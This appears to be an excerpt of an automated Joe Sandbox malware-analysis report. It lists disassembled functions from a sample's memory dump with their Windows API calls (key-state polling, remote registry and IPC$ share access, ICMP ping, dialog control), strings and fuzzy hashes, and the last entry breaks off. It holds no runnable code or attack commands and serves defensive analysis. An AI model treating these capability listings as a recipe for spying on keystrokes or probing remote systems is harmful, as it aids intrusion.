Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 3f14ce1f2b6eeb6751ef2846405e748f0337628fe5e9dab0de2c54a557477179
Instruction ID: 4418f84a49f841cb6b4929a7d6bbe0acca7cabc5076781d59a9eb112aaa2bb74
Opcode Fuzzy Hash: 3f14ce1f2b6eeb6751ef2846405e748f0337628fe5e9dab0de2c54a557477179
Instruction Fuzzy Hash: C9316C7190112DBBDB20CB96DD88EFFBB7CEF55760F000165A906E3250DA349A47DAA0

Function 00AD3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00AD3D40
_wcslen.LIBCMT ref: 00AD3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00AD3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00AD3DBE
RemoveDirectoryW.KERNEL32(?), ref: 00AD3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00AD3E55
CloseHandle.KERNEL32(00000000), ref: 00AD3E60
CloseHandle.KERNEL32(00000000), ref: 00AD3E6B

Strings

:, xrefs: 00AD3D82
\??\%s, xrefs: 00AD3D5B
\, xrefs: 00AD3D77

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: b9542b0d2f5b9f9623daed748b2f19fa25bbe5dced08ff4eeced8c5d3e2b8403
Instruction ID: ccedafeb952736e591e81fa5edefe53ef935e7c0b26a99098c6bbcd2fc3f27c0
Opcode Fuzzy Hash: b9542b0d2f5b9f9623daed748b2f19fa25bbe5dced08ff4eeced8c5d3e2b8403
Instruction Fuzzy Hash: 37319E72900209AADB20EBE1DD49FEB37BDEF88750F1041B6F54AD61A0EB709745CB25

Function 00ACE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00ACE6B4

Part of subcall function 00A7E551: timeGetTime.WINMM(?,?,00ACE6D4), ref: 00A7E555

Sleep.KERNEL32(0000000A), ref: 00ACE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00ACE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00ACE727
SetActiveWindow.USER32 ref: 00ACE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00ACE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00ACE773
Sleep.KERNEL32(000000FA), ref: 00ACE77E
IsWindow.USER32 ref: 00ACE78A
EndDialog.USER32(00000000), ref: 00ACE79B

Strings

BUTTON, xrefs: 00ACE719

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 78bc2821d36c8509d76ae44be3a7b2cae161de08f792e19e82ed8a87c8e2a19e
Instruction ID: b487dea8e806db11033aef605aeecb2bc3b82d5a65e807e210a46cb58658d5da
Opcode Fuzzy Hash: 78bc2821d36c8509d76ae44be3a7b2cae161de08f792e19e82ed8a87c8e2a19e
Instruction Fuzzy Hash: EB2181B1200608AFEB00DFA6ED8AF393B69FB54758B215828F405D31B1DF71AC11CA24

Function 00ACE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00ACEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00ACEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00ACEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00ACEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00ACEAA7

Strings

alias PlayMe, xrefs: 00ACEA36
play PlayMe wait, xrefs: 00ACEA91
open , xrefs: 00ACEA0C
play PlayMe, xrefs: 00ACEAA2
close PlayMe, xrefs: 00ACEA6E, 00ACEA9B
status PlayMe mode, xrefs: 00ACEA58

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: d565f59f8b0d3a8bf41a67f1cc00a00467b40315b465bdf62a987bbb40f58cef
Instruction ID: 2abec9106aee9bc989d0c9d79415196c46d0a248b3c58b3ca1b107d100874b0c
Opcode Fuzzy Hash: d565f59f8b0d3a8bf41a67f1cc00a00467b40315b465bdf62a987bbb40f58cef
Instruction Fuzzy Hash: 87118671A902697DD720E7A1ED4AEFF6BBCEBD6B40F4004697405A20E1EE701D45C9B0

Function 00AC5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00AC5CE2
GetWindowRect.USER32(00000000,?), ref: 00AC5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00AC5D59
GetDlgItem.USER32(?,00000002), ref: 00AC5D69
GetWindowRect.USER32(00000000,?), ref: 00AC5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00AC5DCF
GetDlgItem.USER32(?,000003E9), ref: 00AC5DDD
GetWindowRect.USER32(00000000,?), ref: 00AC5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00AC5E31
GetDlgItem.USER32(?,000003EA), ref: 00AC5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00AC5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00AC5E67

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 9f8a8d89ae674276d700103bbd94022002388fc609d39bdee592fbd1153f7bae
Instruction ID: fc9ca46af783a376447c814c93c2e57752640dbaa3a6b3281baab566e9b0e014
Opcode Fuzzy Hash: 9f8a8d89ae674276d700103bbd94022002388fc609d39bdee592fbd1153f7bae
Instruction Fuzzy Hash: 90511D70E00609AFDF18CFA9DD89EAEBBB5EF48310F158129F516E6290D770AE41CB50

Function 00A78BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00A78F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00A78BE8,?,00000000,?,?,?,?,00A78BBA,00000000,?), ref: 00A78FC5

DestroyWindow.USER32(?), ref: 00A78C81
KillTimer.USER32(00000000,?,?,?,?,00A78BBA,00000000,?), ref: 00A78D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00AB6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00A78BBA,00000000,?), ref: 00AB69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00A78BBA,00000000,?), ref: 00AB69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00A78BBA,00000000), ref: 00AB69D4
DeleteObject.GDI32(00000000), ref: 00AB69E6

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 2b12f885e2d689208e0d4ca0c648e5646624d3fc56633bd86f0a9c8ce27838f4
Instruction ID: fae9afee1edc095bc00d26d4e2e25bc5d16a46272b5f8ba0eefbc09972ab6d6c
Opcode Fuzzy Hash: 2b12f885e2d689208e0d4ca0c648e5646624d3fc56633bd86f0a9c8ce27838f4
Instruction Fuzzy Hash: BC618C31142604DFCB32DF59CE58B69B7F5FB40322F24C92CE04697560CB39A986CB90

Function 00A79838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00A79944: GetWindowLongW.USER32(?,000000EB), ref: 00A79952

GetSysColor.USER32(0000000F), ref: 00A79862

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: a1bdc93e7c0ac8e288763b7ac7f62ad2e14e7d3f1309e289bdb73e837a30d7db
Instruction ID: f36c8770fd514bd97e3e89a0f9ae0915e31c06d5c71e8199ca91f42502739ec9
Opcode Fuzzy Hash: a1bdc93e7c0ac8e288763b7ac7f62ad2e14e7d3f1309e289bdb73e837a30d7db
Instruction Fuzzy Hash: 7D41B2321046449FDB209FB99C84BBA3BA9AB47331F14C656F9A6872E2C7719C42DB11

Function 00AC96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00AAF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00AC9717
LoadStringW.USER32(00000000,?,00AAF7F8,00000001), ref: 00AC9720

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00AAF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00AC9742
LoadStringW.USER32(00000000,?,00AAF7F8,00000001), ref: 00AC9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00AC9866

Strings

Line %d (File "%s"):, xrefs: 00AC978F
^ ERROR, xrefs: 00AC97FB
Line %d:, xrefs: 00AC97A0
Error: , xrefs: 00AC981D
%s (%d) : ==> %s: %s %s, xrefs: 00AC984A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 4d8ff06512ee1740266c7ab9623f77ed657832b72ba5831846f16e481346ff70
Instruction ID: 27cd6766bee6b5e1899443f902b25ef29f036dc0e51823c8863da18503b34d61
Opcode Fuzzy Hash: 4d8ff06512ee1740266c7ab9623f77ed657832b72ba5831846f16e481346ff70
Instruction Fuzzy Hash: AC412872800219AADF04EBE0DF86EEFB778AF55340F210069F60576192EB356F49DB61

Function 00AC06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00AC07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00AC07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00AC07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00AC0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00AC082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00AC0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00AC083C

Strings

\IPC$, xrefs: 00AC0784
\CLSID, xrefs: 00AC0724
SOFTWARE\Classes\, xrefs: 00AC070E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 59abb84271318670be2dfca817e942cb2f53aaf4a95a8f949fb69381b63be0fe
Instruction ID: 504215ef2ebe776f3efc3206e8a553ff8b2e56c4cbeb5180fc4564ecfea00fa3
Opcode Fuzzy Hash: 59abb84271318670be2dfca817e942cb2f53aaf4a95a8f949fb69381b63be0fe
Instruction Fuzzy Hash: 76412472C10228EBDF25EBA4DD85DEEB7B8BF14350F154129E905A7160EB30AE05CBA0

Function 00AE3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AE3C5C
CoInitialize.OLE32(00000000), ref: 00AE3C8A
CoUninitialize.OLE32 ref: 00AE3C94
_wcslen.LIBCMT ref: 00AE3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00AE3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00AE3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00AE3F0E
CoGetObject.OLE32(?,00000000,00AFFB98,?), ref: 00AE3F2D
SetErrorMode.KERNEL32(00000000), ref: 00AE3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00AE3FC4
VariantClear.OLEAUT32(?), ref: 00AE3FD8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: a5543e316542f6dd801dfa7289036fb905b5b172a94f7661de9b6fd686011548
Instruction ID: 425934487592df62e466450fea5577b5570f6e14bc3b2d40bc3677cf27056fc1
Opcode Fuzzy Hash: a5543e316542f6dd801dfa7289036fb905b5b172a94f7661de9b6fd686011548
Instruction Fuzzy Hash: B6C14572608245AFCB00DF6AC98892BB7F9FF89744F10495DF98A9B210D731EE05CB52

Function 00AD7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00AD7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00AD7B8F
SHGetDesktopFolder.SHELL32(?), ref: 00AD7BA3
CoCreateInstance.OLE32(00AFFD08,00000000,00000001,00B26E6C,?), ref: 00AD7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00AD7C74
CoTaskMemFree.OLE32(?,?), ref: 00AD7CCC
SHBrowseForFolderW.SHELL32(?), ref: 00AD7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00AD7D7A
CoTaskMemFree.OLE32(00000000), ref: 00AD7D81
CoTaskMemFree.OLE32(00000000), ref: 00AD7DD6
CoUninitialize.OLE32 ref: 00AD7DDC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: da1520413b3c9a8b4a0e83a47dea5572250123f4decaf8b9f9d0ae0261404f28
Instruction ID: 704344b69f14f26fcbd93e290c717902b7d1c5dc62d06c4f1c6825b851568929
Opcode Fuzzy Hash: da1520413b3c9a8b4a0e83a47dea5572250123f4decaf8b9f9d0ae0261404f28
Instruction Fuzzy Hash: AFC10975A04119AFCB14DFA4C988DAEBBF9FF48314B148499E81ADB361D730EE45CB90

Function 00AF541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00AF5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00AF5515
CharNextW.USER32(00000158), ref: 00AF5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00AF5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00AF559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00AF55AC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 39b9b270b637880bf146c65491f508faebbbc992d1b505ce9f237a1ec483e0cc
Instruction ID: aac6f29e6b2d05fe1ec4c2c1b35d38b889da7c1df2fe8969f085ed9a0a87df70
Opcode Fuzzy Hash: 39b9b270b637880bf146c65491f508faebbbc992d1b505ce9f237a1ec483e0cc
Instruction Fuzzy Hash: 43614B34D0460CABDF10DFE5CD84AFE7BB9AB05725F108149FB25AA290D7749A81DB60

Function 00ABFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00ABFAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00ABFB08
VariantInit.OLEAUT32(?), ref: 00ABFB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00ABFB3A
VariantCopy.OLEAUT32(?,?), ref: 00ABFB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00ABFBA1
VariantClear.OLEAUT32(?), ref: 00ABFBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00ABFBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00ABFBCC
VariantClear.OLEAUT32(?), ref: 00ABFBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00ABFBE9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: e46f39bc22b81624fad98e2bda61140be410af3e05fc850206a1ed9937af6bb5
Instruction ID: 67d124a6abdcf3ce548dc3676e37126cceb92b3f6b1396ce1e312e68f24c4548
Opcode Fuzzy Hash: e46f39bc22b81624fad98e2bda61140be410af3e05fc850206a1ed9937af6bb5
Instruction Fuzzy Hash: 1A417235A00219DFCB04DFA9CD589FDBBB9FF08355F048469E856A7262CB30A946CF90

Function 00AC9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00AC9CA1
GetAsyncKeyState.USER32(000000A0), ref: 00AC9D22
GetKeyState.USER32(000000A0), ref: 00AC9D3D
GetAsyncKeyState.USER32(000000A1), ref: 00AC9D57
GetKeyState.USER32(000000A1), ref: 00AC9D6C
GetAsyncKeyState.USER32(00000011), ref: 00AC9D84
GetKeyState.USER32(00000011), ref: 00AC9D96
GetAsyncKeyState.USER32(00000012), ref: 00AC9DAE
GetKeyState.USER32(00000012), ref: 00AC9DC0
GetAsyncKeyState.USER32(0000005B), ref: 00AC9DD8
GetKeyState.USER32(0000005B), ref: 00AC9DEA

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 00a28aad08c9125f7afc3a0cbd873cb7a03e549949ba74f840f0bae63eb42b7b
Instruction ID: 3d75503864a0f1a8ebded6359e96274fe76e9a0e58fd8f61670965c66cb33c4c
Opcode Fuzzy Hash: 00a28aad08c9125f7afc3a0cbd873cb7a03e549949ba74f840f0bae63eb42b7b
Instruction Fuzzy Hash: 5041FC745087C96DFF3187A0940CBB7BEE06F21344F05805ED6C76A5C2DBA499C8C7A2

Function 00AE055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00AE05BC
inet_addr.WSOCK32(?), ref: 00AE061C
gethostbyname.WSOCK32(?), ref: 00AE0628
IcmpCreateFile.IPHLPAPI ref: 00AE0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00AE06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00AE06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00AE07B9
WSACleanup.WSOCK32 ref: 00AE07BF

Strings

Ping, xrefs: 00AE0676

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
